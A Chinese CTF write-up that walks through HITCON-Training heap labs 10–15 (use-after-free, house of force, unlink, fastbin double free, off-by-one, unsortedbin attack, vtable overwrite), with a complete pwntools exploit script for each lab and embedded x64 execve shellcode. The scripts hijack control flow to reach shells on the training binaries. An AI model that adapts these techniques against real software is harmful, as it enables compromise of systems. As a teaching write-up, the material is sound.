Hitcon-Training lab10~lab15

lab10

这一题开始就是堆的范畴了

题目介绍

程序只开启了NX保护

有三个功能,分别是add,delete跟print

1
2
3
4
5
6
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------

先一看一下add:

主要过程就是先申请一个8的堆用来存储print函数和数据的地址(也是堆地址),数据另外存储在新申请的malloc(size)堆中, 然后这个8大小的指针会存到bss去(notelist),也就是如下图

接下来看delete函数:

通过indext free 掉add过程中申请的两个堆空间,但是free后并没有将指针清空,而且指针扔留在bss中,所以就存在了Use-After_Free

printf函数:

通过indext找到对应的printf 函数调用

程序中还存在cat flag函数,所以我们只需要想方法调用这个函数就行了

利用过程

通过分析程序的功能我们发现存在uaf漏洞,具体但用过程:

1、先申请3个chunk块,大小为16(fast bin 范围内即可)

2、free 掉chunk1、chunk2

此时fast bin 中的分布是这样的:

1
2
3
fastbins
0x10: 0x97c5028 —▸ 0x97c5000 ◂— 0x0
0x18: 0x97c5038 —▸ 0x97c5010 ◂— 0x0

notelist 中是这样的:

1
2
3
4
5
pwndbg> telescope 0x0804A070
00:0000│ 0x804a070 (notelist) —▸ 0x97c5008 ◂— 0x0
01:0004│ 0x804a074 (notelist+4) —▸ 0x97c5030 —▸ 0x97c5000 ◂— 0x0
02:0008│ 0x804a078 (notelist+8) —▸ 0x97c5058 —▸ 0x804865b (print_note_content) ◂— push ebp
03:000c│ 0x804a07c (notelist+12) ◂— 0x0

此时我们再申请一个大小为8的chunk,内容为magic函数地址,这样,0x97c5000就会指向magic函数

1
2
3
4
5
6
pwndbg> telescope 0x0804A070
00:0000│ 0x804a070 (notelist) —▸ 0x97c5008 —▸ 0x8048986 (magic) ◂— push ebp
01:0004│ 0x804a074 (notelist+4) —▸ 0x97c5030 —▸ 0x804865b (print_note_content) ◂— push ebp
02:0008│ 0x804a078 (notelist+8) —▸ 0x97c5058 —▸ 0x804865b (print_note_content) ◂— push ebp
03:000c│ 0x804a07c (notelist+12) —▸ 0x97c5030 —▸ 0x804865b (print_note_content) ◂— push ebp
04:0010│ 0x804a080 (notelist+16) ◂— 0x0

printf chunk1即可执行magic函数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
p = process('./hacknote')
context.log_level = 'debug'
catflag = 0x8048986
def Add(size,string):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(string)
def Delete(i):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(i))
def Print(i):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(i))

Add(16,'n0va_1')
# gdb.attach(p,"b *0x8048A8C")
Add(16,'n0va_2')
Add(16,'n0va_3')
# gdb.attach(p,"b *0x8048A8C")
Delete(0)
Delete(1)

Add(8,p32(catflag))
Print(0)
p.interactive()

lab 11

首先程序的功能很简单,增、删、查、改

在change功能中没有对len进行检测,存在任意长度的堆溢出

同时函数有可以直接读flag的后门函数

程序在开始的时候申请了一个大小为0x20的堆块用来存放hello_messagegoodbye_message函数指针,开始时调用hello,结束时调用goodbye

最简单的做法就是house of force 申请到存放goodbye指针的堆块,修改goodbye为magic

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./bamboobox')
elf = ELF('./bamboobox')
libc = elf.libc
else:
p = remote("")
sl = lambda s:p.sendline(s)
sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def add(len,name):
ru('choice:')
sl('2')
ru('name:')
sl(str(len))
ru('item:')
sl(name)
def change(index,len,name):
ru('choice:')
sl('3')
ru('item:')
sl(str(index))
ru('name:')
sl(str(len))
ru('item:')
sd(name)
def remove(index):
ru('choice:')
sl('4')
ru('item:')
sl(str(index))
def show():
ru('choice:')
sl('1')
itemlist = 0x6020C0
magic = 0x400D49
add(0x400,'b')
add(0x10,'a')#0
pay = p64(0)*3 + p64(0xffffffffffffffff)
change(1,0x100,pay)
# gdb.attach(p,"b *0x400A6F")
add(-0x460,'a')
pay = p64(magic)*2
add(0x100,pay)
ru('choice:')
sl('5')
# gdb.attach(p)
p.interactive()

做为练习,感觉用后门太*了,所以也可以通过unlink修改got表getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./bamboobox')
elf = ELF('./bamboobox')
libc = elf.libc
else:
p = remote("")
sl = lambda s:p.sendline(s)
sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def add(len,name):
ru('choice:')
sl('2')
ru('name:')
sl(str(len))
ru('item:')
sl(name)
def change(index,len,name):
ru('choice:')
sl('3')
ru('item:')
sl(str(index))
ru('name:')
sl(str(len))
ru('item:')
sd(name)
def remove(index):
ru('choice:')
sl('4')
ru('item:')
sl(str(index))
def show():
ru('choice:')
sl('1')
itemlist = 0x6020C0
add(0x20,'a')#0
add(0x90,'b')#1
add(0x90,'c')#2
# add(0x20,'d')#3

fack_chunk = 0x6020c8
fd = fack_chunk - 0x18
bk = fack_chunk - 0x10
pay = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0xa0)
change(0,0x30,pay)
remove(1)
pay = p64(0)*2
pay += p64(0x100) + p64(itemlist)#0
pay += p64(0x100) + p64(elf.got['free'])#1
pay += p64(0x100) + p64(elf.got['malloc'])#2
pay += p64(0x100) + p64(elf.got['atoi'])#3
change(0,0x100,pay)
change(1,0x10,p64(elf.plt['puts'])[:-1])
remove(2)
malloc_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = malloc_addr - libc.symbols['malloc']
system = libc_base + libc.symbols['system']
log.info("malloc_addr --> %s",hex(malloc_addr))
log.info("libc_base --> %s",hex(libc_base))
log.info("system --> %s",hex(system))
pay = p64(0x100) + p64(elf.got['free'])
pay += p64(0x100) + p64(elf.got['malloc'])
change(0,0x100,pay)
change(0,0x100,p64(system)[:-1])
change(1,0x100,'/bin/sh')
remove(1)
# gdb.attach(p)
p.interactive()

lab12

程序功能:

跟常规堆题一样有一个flowlist的全局数组来存放堆块,在del函数中只是将标记置为0,并没有将指针置空,所以存在uaf

利用思路:

泄漏出libc地址 —> double free attack 修改malloc_hook为onegadget,调用malloc getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./secretgarden')
elf = ELF('./secretgarden')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def add(l,name,c):
ru(": ")
sl("1")
ru(":")
sl(str(l))
ru(":")
sd(name)
ru(":")
sl(c)
def visit():
ru(": ")
sl("2")
def remove(id):
ru(": ")
sl("3")
ru(":")
sl(str(id))
def clean():
ru(": ")
sl("4")
flowerlist = 0x6020E0
add(0x80,'a','ac')#0
add(0x20,'b','bc')#1
remove(0)
clean()
add(0x80,'\n','cc')#2
visit()
ru("[0] :")
one = [0x45216,0x4526a,0xf02a4,0xf1147]
main_arena = u64(rc(6).ljust(8,'\x00')) - 0x0a + 0x78 - 88
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
onegadget = libc_base + one[1]
fack_chunk = malloc_hook - 0x23
log.info("main_arena --> %s",hex(main_arena))
log.info("malloc_hook --> %s",hex(malloc_hook))
log.info("libc_base --> %s",hex(libc_base))
log.info("onegadget --> %s",hex(onegadget))
log.info("fack_chunk --> %s",hex(fack_chunk))
add(0x60,'3','3c')#2
add(0x60,'4','4c')#3
remove(2)
remove(3)
remove(2)
pay = p64(fack_chunk)*2
add(0x60,pay,'4c')#4
add(0x60,'5','5c')#5
add(0x60,'6','6c')#6
pay = 0x13*'a' + p64(onegadget)
add(0x60,pay,'7c')#7
ru(": ")
sl("1")
# gdb.attach(p)
p.interactive()

lab13

常规堆题,增、删、查、改以及一个全局数组heaparray

edit 函数中存在off-by-one

利用思路:首先申请chunk0,chunk1,edit chunk0修改chunk1的size ,然后free掉chunk1

再申请一个新的chunk1,使得chunk1落在指向chunk1的堆块上,从而能够修改chunk1的内容指针

修改chunk1内容指针为got表泄漏出真实地址

改free的got表为system地址,然后使得chunk0内容为’/bin/sh\x00’,free(0) getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./heapcreator')
elf = ELF('./heapcreator')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def create(size,data):
ru(":")
sl('1')
ru(": ")
sl(str(size))
ru(":")
sd(data)
def edit(id,data):
ru(":")
sl('2')
ru(":")
sl(str(id))
ru(": ")
sl(data)
def show(id):
ru(":")
sl('3')
ru(":")
sl(str(id))
def delete(id):
ru(":")
sl('4')
ru(":")
sl(str(id))
heaparray = 0x6020A0
create(0x18,'a')#0
create(0x18,'b')#1
edit(0,'/bin/sh\x00' + 0x10*'a' + '\x41')
delete(1)
create(0x30,p64(0)*4 + p64(0x30) + p64(elf.got['free']))
show(1)
ru("Content : ")
free_addr = u64(ru('\n').strip('\n').ljust(8,'\x00'))
libc_base = free_addr - libc.symbols['free']
system = libc_base + libc.symbols['system']
log.info("free_addr --> %s",hex(free_addr))
log.info("libc_base --> %s",hex(libc_base))
log.info("system --> %s",hex(system))
edit(1,p64(system))
delete(0)
# gdb.attach(p)
p.interactive()

lab 14

edit函数没有对size检测存在任意长度堆溢出,且程序存在cat flag的后门

做法1

unsortedbin attack :利用堆溢出修改在unsortedbin列表尾部的bk为0x6020C0重新申请即可将0x6020C0修改成main_arena(unsortedbin 为FIFO)从而利用后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./magicheap')
# elf = ELF('./magicheap')
# libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def create(size,data):
ru(":")
sl('1')
ru(": ")
sl(str(size))
ru(":")
sl(data)
def edit(id,size,data):
ru(":")
sl('2')
ru(":")
sl(str(id))
ru(": ")
sl(str(size))
ru(": ")
sl(data)
def delete(id):
ru(":")
sl('3')
ru(":")
sl(str(id))
heaparray = 0x6020E0
magic = 0x6020C0
create(0x10,'a')#0
create(0x80,'b')#1
create(0x10,'c')#2
delete(1)
pay = 0x10*'a' + p64(0) + p64(0x91) + p64(magic - 0x10)*2
edit(0,0x30,pay)
create(0x80,'d')
ru(":")
sl('4869')
# gdb.attach(p)
p.interactive()

做法2

unlink 修改free@got为system,再free掉一块内容为’/bin/sh\x00’的堆块getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./magicheap')
elf = ELF('./magicheap')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def create(size,data):
ru(":")
sl('1')
ru(": ")
sl(str(size))
ru(":")
sl(data)
def edit(id,size,data):
ru(":")
sl("2")
ru(":")
sl(str(id))
ru(": ")
sl(str(size))
ru(": ")
sl(data)
def delete(id):
ru(":")
sl('3')
ru(":")
sl(str(id))
heaparray = 0x6020E0
create(0x20,'a')#0
create(0x80,'b')#1
create(0x20,'/bin/sh\x00')#2
create(0x20,'/bin/sh\x00')#3
fd = heaparray - 0x18
bk = heaparray - 0x10
pay = p64(0) + p64(0x21)
pay += p64(fd) + p64(bk)
pay += p64(0x20) + p64(0x90)
edit(0,0x30,pay)
pay = p64(0)*3
pay += p64(elf.got['free'])
pay += p64(elf.got['puts'])
delete(1)
edit(0,0x30,pay)
edit(0,8,p64(elf.plt['puts']))
delete(1)
ru('Index :')
puts_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
log.info("puts_addr --> %s",hex(puts_addr))
log.info("libc_base --> %s",hex(libc_base))
log.info("system --> %s",hex(system))
edit(0,8,p64(system))
delete(3)
# gdb.attach(p)
p.interactive()

lab15

这是一道C++pwn,涉及到一个C++的虚表的问题,在c++的类中的虚表会通过一个叫虚表的东西进行跳转从而执行函数,关于虚表的知识点可以参考这位大佬:http://showlinkroom.me

一片红,NX都没开,还有RWX段,显然可以写shellcode,解题的思路在于,修改虚表,跳转到shellcode的位置执行。

虚表大概可以理解为:一个视情况指向相对应函数地址的指针(很显然这说法是错的)

虚表大概是这样子:

而且我们要让它变成这样:

结合IDA我们能看到,新申请的类是放在animallist数组中的,也就是说animallist存着指向虚表的指针

先申请两个dog,我们可以看到,animallist上存放着指针指向一个指向Dog::speak函数的指针(也就是虚表)

结构清楚了,再来看程序,这里没有限制长度,可以造成堆溢出而且长度不限,所以我们只需要通过溢出将指向shellcode地址的指针写到0xf4ac20上就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./zoo')
# elf = ELF('./zoo')
# libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def adddog(name,weight):
ru(":")
sl('1')
ru(": ")
sl(name)
ru(": ")
sl(str(weight))
def addcat(name,weight):
ru(":")
sl('2')
ru(": ")
sl(name)
ru(": ")
sl(str(weight))
def showanimal(id):
ru(":")
sl('4')
ru(": ")
sl(str(id))
def remove(id):
ru(":")
sl('5')
ru(": ")
sl(str(id))
def listen(id):
ru(":")
sl('3')
ru(": ")
sl(str(id))
animallist = 0x605490
edata = 0x605120
nameofzoo = 0x605420
ru(":")
shellcode = shellcode_x64 = 'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
sl(shellcode + p64(nameofzoo))
adddog('dog1',0)
adddog('dog2',1)
# gdb.attach(p)
remove(0)
pay = 0x48*'a' + p64(nameofzoo + len(shellcode))
adddog(pay,1)
listen(0)
# gdb.attach(p)
p.interactive()
0%